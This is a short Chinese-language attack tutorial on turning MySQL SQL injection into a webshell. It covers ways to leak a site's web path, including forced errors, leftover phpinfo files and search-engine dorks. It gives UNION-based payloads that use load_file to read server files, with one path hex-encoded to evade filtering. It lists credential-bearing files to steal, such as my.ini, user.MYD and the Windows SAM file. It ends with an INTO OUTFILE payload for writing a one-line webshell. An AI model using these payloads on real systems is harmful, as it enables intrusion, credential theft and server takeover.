mysql数据库注入到getshell
1、获取 Web 路径:
不管是 root 权限还是普通用户权限要对服务器进行读写我们需要网站路径才能得到webshell
(1)一般可以在变量后面加上单引号、改变参数类型(字符型数字型)、增加参数位数等来造成 MySQL 数据库出错,爆出 Web 物理路径。
(2)通过扫描器扫 web 服务器遗留文件 php.php、info.php、phpinfo.php、test.php
(3)利用搜索引擎来查找 Web 目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在 Google 或 百度 中搜索 “ mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。这里使用“error site:***.com”关键字进行查询,从搜索结果中得到了网站的物理路径。
(4)漏洞暴路径,例如通过网站后台查看网站 Web 路径(需要root账号密码)、CC 攻击暴路径等.
(5)通过(iss apache等中间件)配置文件找网站路径
在百度里面输入***配置文件,如:IIS6.0 配置文件,可以找到: C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml 和 C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)
2、通过load_file函数读取文件内容
# linux,最好转为16进制
' union select 1,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C) --
# windows,写双斜线,因为可能会转义
' union select 1,load_file('c:\\boot.ini') -
常见WINDOWS下配置文件:
c:/windows/php.ini ●php配置信息
c:/windows/my.ini ●MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD ●存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml ●查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam ●存储了WINDOWS系统初次安装的密码
常见LUNIX/UNIX下配置文件:
/usr/local/app/apache2/conf/httpd.conf ●apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf ●虚拟网站设置
/usr/local/app/php5/lib/php.ini ●PHP相关设置
/etc/sysconfig/iptables ●从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf ●apache配置文件
/etc/rsyncd.conf ●同步程序配置文件
/etc/my.cnf ●mysql的配置文件
/etc/redhat-release ●系统版本
/usr/local/resin-3.0.22/conf/resin.conf ● 针对3.0.22的RESIN配置文件查看
3、写webshell
' union select "",2 into outfile "C:\\phpStudy\\WWW\\123.php" --
# 把一句话木马123,输出到C盘 \\phpStudy\\WWW\\下